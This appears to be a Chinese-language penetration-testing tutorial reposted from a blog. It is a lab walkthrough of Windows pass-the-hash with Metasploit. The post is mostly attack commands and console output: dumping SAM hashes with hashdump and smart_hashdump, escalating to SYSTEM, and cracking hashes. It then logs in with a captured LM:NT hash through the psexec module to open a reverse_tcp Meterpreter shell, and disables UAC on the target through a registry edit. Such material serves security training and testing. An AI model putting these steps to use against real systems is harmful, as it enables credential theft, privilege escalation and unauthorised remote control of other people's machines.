后渗透(五)PassingTheHash

0x00:简介

windows 系统下的hash 密码格式:

  用户名称:RID:LM-HASH值:NT-HASH值

格式是:用户名称: RID:LM-HASH 值: NT-HASH 值,rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等。而 lm 的 hash 和 nt 的 hash,他们都是对用户密码进行的加密,只不过加密方式不一样。复制其中一种加密的 hash 可以直接使用在线 cmd5 破解

获取Hash值

(1)Hashdump

直接获得系统Hash

(2)run post/windows/gather/smart_hashdump

检查权限和系统类型

检查是否是域控制服务器

从注册表读取hash、注入LSASS进程

如果是08server并具有管理员权限,直接getsystem尝试提权

如果是win7 且 UAC关闭并具有管理员权限,从注册表读取

03/XP直接getsystem,从注册表获取hash

kali 192.168.109.144

win7 192.168.109.146

两个session,session 1 为getsystem过的权限,session 2 为普通权限

0x01:测试

hashdump

 hashdump 需要系统级别的权限,user 提升到管理员之前有记录过,可以使用 uat、ms13_053、ms14_058、ms16_016、ms16_032 等等,这时的权限是管理员,在 meterpreter 下运行 hashdump 可能会报一个 priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. 的错误。关于管理员到系统级的提升,在国外一篇文章上看的思路不错,这里记一下,碰到这个问题可以试试。

1,首先可以使用 getprivs 命令,作用在于尽可能的获取更多的权限。

2,如果 getprivs 没有成功,则可以继续运行 getsystem 命令,作用在于利用各种可以提权的漏洞来提升自己的权限,如果是管理员,这个命令可能会提到 system。

3,如果 getsystem 也没有成功,可能 system 级别需要一个 64 的进程程序才可以运行相应的服务,那么可以 migrate 迁移进程到一个 64 位的程序。

4,如果以上不行,可以把 meterpreter 的进程再迁移到一个拥有 system 级别的进程上。关于 system 级别的进程,直接 ps 查看 id 即可。

总之,如果抱有错误,基本上是因为权限不够,需要为 system 的权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。ps 也可以查看 meterpreter 的权限级别。

链接:https://blog.csdn.net/fageweiketang/article/details/86580213

run post/windows/gather/smart_hashdump

总结:

>get system
>run post/windows/gather/smart_hashdump
>set session 1
>exploit
##获得用户hash 保存在 /tmp 目录下
##可以用下面的模块破解hash

MSF模块: 

> use auxiliary/analyze/jtr_crack_fast
> show options
> 设置一下 options
> run

在线解密链接

http://cracker.offensive-security.com

kali中的工具

findmyhash

findmyhash MD5 -h adsadasdasdasfdsgfdgbasjdbsafas

0x02:Hash传递

在获取Hash之后,没有破解密码的情况下,通过exploit/windows/smb/psexec模块 用Hash登录

msf模块:

>use exploit/windows/smb/psexec

成功后返回一个新的session

msf5 > use exploit/windows/smb/psexec    ##调用模块
msf5 exploit(windows/smb/psexec) > 
msf5 exploit(windows/smb/psexec) > 
msf5 exploit(windows/smb/psexec) > info

       Name: Microsoft Windows Authenticated User Code Execution
     Module: exploit/windows/smb/psexec
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 1999-01-01

Provided by:
  hdm <x@hdm.io>
  Royce Davis <rdavis@accuvant.com>
  RageLtMan <rageltman@sempervictus>

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   PowerShell
  2   Native upload
  3   MOF upload

Check supported:
  No

Basic options:
  Name                  Current Setting  Required  Description
  ----                  ---------------  --------  -----------
  RHOSTS                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                 445              yes       The SMB service port (TCP)
  SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                   no        The service display name
  SERVICE_NAME                           no        The service name
  SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain             .                no        The Windows domain to use for authentication
  SMBPass                                no        The password for the specified username
  SMBUser                                no        The username to authenticate as

Payload information:
  Space: 3072

Description:
  This module uses a valid administrator username and password (or 
  password hash) to execute an arbitrary payload. This module is 
  similar to the "psexec" utility provided by SysInternals. This 
  module is now able to clean up after itself. The service created by 
  this tool uses a randomly chosen name and description.

References:
  https://cvedetails.com/cve/CVE-1999-0504/
  OSVDB (3106)
  http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
  https://www.optiv.com/blog/owning-computers-without-shell-access
  http://sourceforge.net/projects/smbexec/

msf5 exploit(windows/smb/psexec) > 
msf5 exploit(windows/smb/psexec) > 
msf5 exploit(windows/smb/psexec) > set rhost 192.168.109.146
rhost => 192.168.109.146
msf5 exploit(windows/smb/psexec) > set smbuser ddg
smbuser => ddg
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:c295d3023b735366ec618424c93b800f
smbpass => aad3b435b51404eeaad3b435b51404ee:c295d3023b735366ec618424c93b800f
msf5 exploit(windows/smb/psexec) > 
msf5 exploit(windows/smb/psexec) >
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) >
msf5 exploit(windows/smb/psexec) > set lhost 192.168.109.144
lhost => 192.168.109.144
msf5 exploit(windows/smb/psexec) > set lport 2333
lport => 2333
msf5 exploit(windows/smb/psexec) > exploit

exploit运行之后可能会报错,可能是UAC的原因,下面是通过已有的session关闭UAC

通过注册表,更改UAC

这是目标主机手动更改UAC的方法,我的目标机默认是从不通知(这就是 后渗透(二)提权 的时候 用ask 模块,没有弹出对话框,而是直接创建新的提权session的原因)

但是真实渗透中,不可能让目标主机主动关闭,可以通过注册表更改UAC

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System

meterpreter>shell

cmd>reg.exe ADD HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem v EnableLUA 	 REG DWORD d 0 f

##注意用反斜杠

 

 关闭UAC需要重启目标主机,可用其他方式,将目标主机重启

之后explot 即可通过hash进行用户登录

Done!

原文地址:https://www.cnblogs.com/liqik/p/13022277.html